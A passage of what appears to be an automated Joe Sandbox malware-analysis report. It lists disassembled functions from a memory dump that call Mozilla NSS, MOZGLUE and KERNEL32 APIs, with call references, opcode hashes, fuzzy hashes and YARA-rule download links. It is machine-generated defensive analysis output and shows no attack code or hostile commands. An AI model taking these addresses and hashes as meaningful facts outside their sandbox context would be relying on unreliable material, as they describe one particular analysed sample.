free.MOZGLUE(?), ref: 6C83C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6C83C9F8
free.MOZGLUE(?), ref: 6C83C9FF
free.MOZGLUE(00000000), ref: 6C83CA0B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 464dae82e8eae0b34bfade1ea6556fe77eede4eba4d5ad3f8eecfcfaa1e7dd98
Instruction ID: 097255706ef7552d0166a7765e0ef2e6f487b1699024aa550004d9b3e1803918
Opcode Fuzzy Hash: 464dae82e8eae0b34bfade1ea6556fe77eede4eba4d5ad3f8eecfcfaa1e7dd98
Instruction Fuzzy Hash: C40128B2600619ABDB21EFA5C88C89BB7F8FA492653040536E90AC3601E735F459CBF1

Function 6C7C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7C3046

Part of subcall function 6C7AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C797FFB), ref: 6C7C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7C2E8B

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Part of subcall function 6C7AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C799BFF,?,00000000,00000000), ref: 6C7AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C797FFA), ref: 6C7C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C317B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 1ae6f02de35bb90a2d348bfa3f1b8dc881b82d4b5983b0980f318005171adeab
Instruction ID: 026418c1bcc181c23733d172af1f5000634e5f5b285e1cc2895d5e1a73a6e46c
Opcode Fuzzy Hash: 1ae6f02de35bb90a2d348bfa3f1b8dc881b82d4b5983b0980f318005171adeab
Instruction Fuzzy Hash: 87A1C071A002199FDB24CF54CD84BEAB7B5EF49308F0481A9ED4967781E731AD85CFA2

Function 6C77A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0bf5da7e0fc36caae3c59c9e4056506ca6331f335b275571cb868824d1284f
Instruction ID: 290d6e3e00d5d1a9bdbec6f88232ccde356f93ee84a189a4acc9b4fc1b361d99
Opcode Fuzzy Hash: ef0bf5da7e0fc36caae3c59c9e4056506ca6331f335b275571cb868824d1284f
Instruction Fuzzy Hash: EC914930D0426C4BEF358E188A957EAB7B5AB4A32CF14A1F5C5998BA01D631CD85CFF1

Function 6C78ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C78ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C78EDCE

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

free.MOZGLUE(00000000,?,?,?,?,6C78B04F), ref: 6C78EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C78EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C78EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C78EEFB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: d5ffb2010596785ad90207f42cbf3681b6a0c12dbb6677d54e37b55dbc5c414c
Instruction ID: 6e964b588d26df60d24e66a5b004f2811d78f07c9e73fea34aa663432dd00969
Opcode Fuzzy Hash: d5ffb2010596785ad90207f42cbf3681b6a0c12dbb6677d54e37b55dbc5c414c
Instruction Fuzzy Hash: C7815FB9A022099FEB14CF55DE85BAB77F9BF88308F144438EA1597B51D730E814CBA1

Function 6C78CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C78C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C78DAE2,?), ref: 6C78C6C2

PR_Now.NSS3 ref: 6C78CD35

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

Part of subcall function 6C776C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C3F

PR_GetCurrentThread.NSS3 ref: 6C78CD54

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

Part of subcall function 6C777260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C721CCC,00000000,00000000,?,?), ref: 6C77729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C78CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C78CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C78CE2C

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C78CE40

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

Part of subcall function 6C78CEE0: PORT_ArenaMark_Util.NSS3(?,6C78CD93,?), ref: 6C78CEEE
Part of subcall function 6C78CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C78CD93,?), ref: 6C78CEFC
Part of subcall function 6C78CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C78CD93,?), ref: 6C78CF0B
Part of subcall function 6C78CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C78CD93,?), ref: 6C78CF1D

Part of subcall function 6C78CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF47
Part of subcall function 6C78CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF67
Part of subcall function 6C78CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C78CD93,?,?,?,?,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF78

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: d80124e98c80e84301752b1a3a5eb4bcc4b650d1b9668d6571ffc4abeb158319
Instruction ID: 0c81dd6c6f74b208deb0c4ff3ce65c27d39bf75bf8396993471bc55337f9aac2
Opcode Fuzzy Hash: d80124e98c80e84301752b1a3a5eb4bcc4b650d1b9668d6571ffc4abeb158319
Instruction Fuzzy Hash: 4151E972A021049FEB10EF69DE44BDA73F8EF48359F250634DA1497740EB31E904CBA1

Function 6C786A70 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

DER_GetInteger_Util.NSS3(?), ref: 6C786ABF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Integer_Util
String ID:
API String ID: 2649942920-0
Opcode ID: 68e5855953e52ccee8d4838429314c7be61c17121727854d64757ac3883c70c8
Instruction ID: 74c965e3398530640d8d6e4ed16881beceabb7a2d117db48bed7cd665a7e08e7
Opcode Fuzzy Hash: 68e5855953e52ccee8d4838429314c7be61c17121727854d64757ac3883c70c8
Instruction Fuzzy Hash: CB5159B19127049FEB248F25DA49B967BE4EB08318F10493DEA6EC7B12E731E504CB95

Function 6C75EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C75EF38

Part of subcall function 6C749520: PK11_IsLoggedIn.NSS3(00000000,?,6C77379E,?,00000001,?), ref: 6C749542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C75EF53

Part of subcall function 6C764C20: TlsGetValue.KERNEL32 ref: 6C764C4C
Part of subcall function 6C764C20: EnterCriticalSection.KERNEL32(?), ref: 6C764C60
Part of subcall function 6C764C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764CA1
Part of subcall function 6C764C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C764CBE
Part of subcall function 6C764C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C764CD2
Part of subcall function 6C764C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C764D3A

PR_GetCurrentThread.NSS3 ref: 6C75EF9E

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

free.MOZGLUE(00000000), ref: 6C75EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C75F016
free.MOZGLUE(00000000), ref: 6C75F022

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 0cad91be02fe6ab25709398bd3ab0b885a0b1d830056832731d31a0cc344a63b
Instruction ID: b04e555eb5e724bbe0b1c09e2351ae006bba8904ee34e74f010297d7f135d4c2
Opcode Fuzzy Hash: 0cad91be02fe6ab25709398bd3ab0b885a0b1d830056832731d31a0cc344a63b
Instruction Fuzzy Hash: BB41A3B1E00109ABDF018FA9DD48AEF7BB9AB48358F444035F904A7351EB728925CBA1

Function 6C734860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C734894

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7348CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7348DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C7348FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C734912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C73494A

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: c6191b747d536917634fef7eab18881fa556b130788257ad34fe62d1a7a61d52
Instruction ID: a73591f9e6d3d78bbdd02fa9fac6e88548a2f7e22bdd557e5dbeb9e8eb91ad2b
Opcode Fuzzy Hash: c6191b747d536917634fef7eab18881fa556b130788257ad34fe62d1a7a61d52
Instruction Fuzzy Hash: 7C41E6716043159BEB18CF69CA88BAB7BE89F4471CF00053CEA5987742F771E908D752

Function 6C74CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C74CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C74D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C74D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74D025
PR_NewLock.NSS3 ref: 6C74D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C74D074

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 94b591bdacb29508d4bd84217d124ea4180584c0f961c56070af7d875ef69ce6
Instruction ID: eec8211668654ad2d76208e010ba715bfa02a18de716b060ea3692dea0f83041
Opcode Fuzzy Hash: 94b591bdacb29508d4bd84217d124ea4180584c0f961c56070af7d875ef69ce6
Instruction Fuzzy Hash: 1D41D6B1A013118FDB10DF29CA8879A7BE4EF18319F10C17ADC198B756E774D489CBA5

Function 6C788810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6C7886AA), ref: 6C788851

Part of subcall function 6C781340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C78136A
Part of subcall function 6C781340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C78137E
Part of subcall function 6C781340: PL_ArenaGrow.NSS3(?,6C71F599,?,00000000,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?), ref: 6C7813CF
Part of subcall function 6C781340: PR_Unlock.NSS3(?,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C78145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6C7886AA), ref: 6C78886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6C788890
PR_GetCurrentThread.NSS3 ref: 6C78891C
PR_GetCurrentThread.NSS3 ref: 6C788937

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 8cce3d82304d357e4a2af65ccd12aecec01195e8ca9929351717a7395e395172
Instruction ID: 93c3da7508cd8efa09560e6e5bd0ccb21e90224417f056a34f05894046d7eef1
Opcode Fuzzy Hash: 8cce3d82304d357e4a2af65ccd12aecec01195e8ca9929351717a7395e395172
Instruction Fuzzy Hash: 4E41A9B1B026029FE704CF29CE94B91BBE4FF54318F14427AD9188B751EB71E964CB91

Function 6C798890 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000004,?), ref: 6C7988C0
PK11_HashBuf.NSS3(00000003,?,?,?), ref: 6C7988E0
NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C798915
HASH_ResultLenByOidTag.NSS3(00000000), ref: 6C798928
PK11_HashBuf.NSS3(00000000,?,?,?), ref: 6C798957
PK11_HashBuf.NSS3(00000004,?,?,?), ref: 6C798980

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: HashK11_$AlgorithmPolicy$Result
String ID:
API String ID: 2238172455-0
Opcode ID: b46cbd3dc7a892eda33fd579ebde4a67a3c9842fc8a844a190f3c271fb27b69c
Instruction ID: 121f16e2aa543f68bea3e67b1474b1e6bf9e02ade3a305e73d14072fefe7fee4
Opcode Fuzzy Hash: b46cbd3dc7a892eda33fd579ebde4a67a3c9842fc8a844a190f3c271fb27b69c
Instruction Fuzzy Hash: 2C31F972904115ABEB008FA5FE48FBF7B58AF05328F044132EE1897681F7319A1487E3

Function 6C732E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C722D1A), ref: 6C732E7E

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

PR_Now.NSS3 ref: 6C732EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C732EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C722D1A), ref: 6C732F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C722D1A), ref: 6C732F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C732F81

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 31013d6cb0447ff61480268b648ee86d6a24c74c8814ea6c5e779fc6a37273d9
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 093145B15011268BF710C625DE4CFAE7269EF80318F241579C11D97AD3EB31998AC691

Function 6C720E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C720A2C), ref: 6C720E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C720A2C), ref: 6C720E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C720A2C), ref: 6C720E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C720A2C), ref: 6C720E90
free.MOZGLUE(00000000), ref: 6C720EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C720A2C), ref: 6C720ED9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

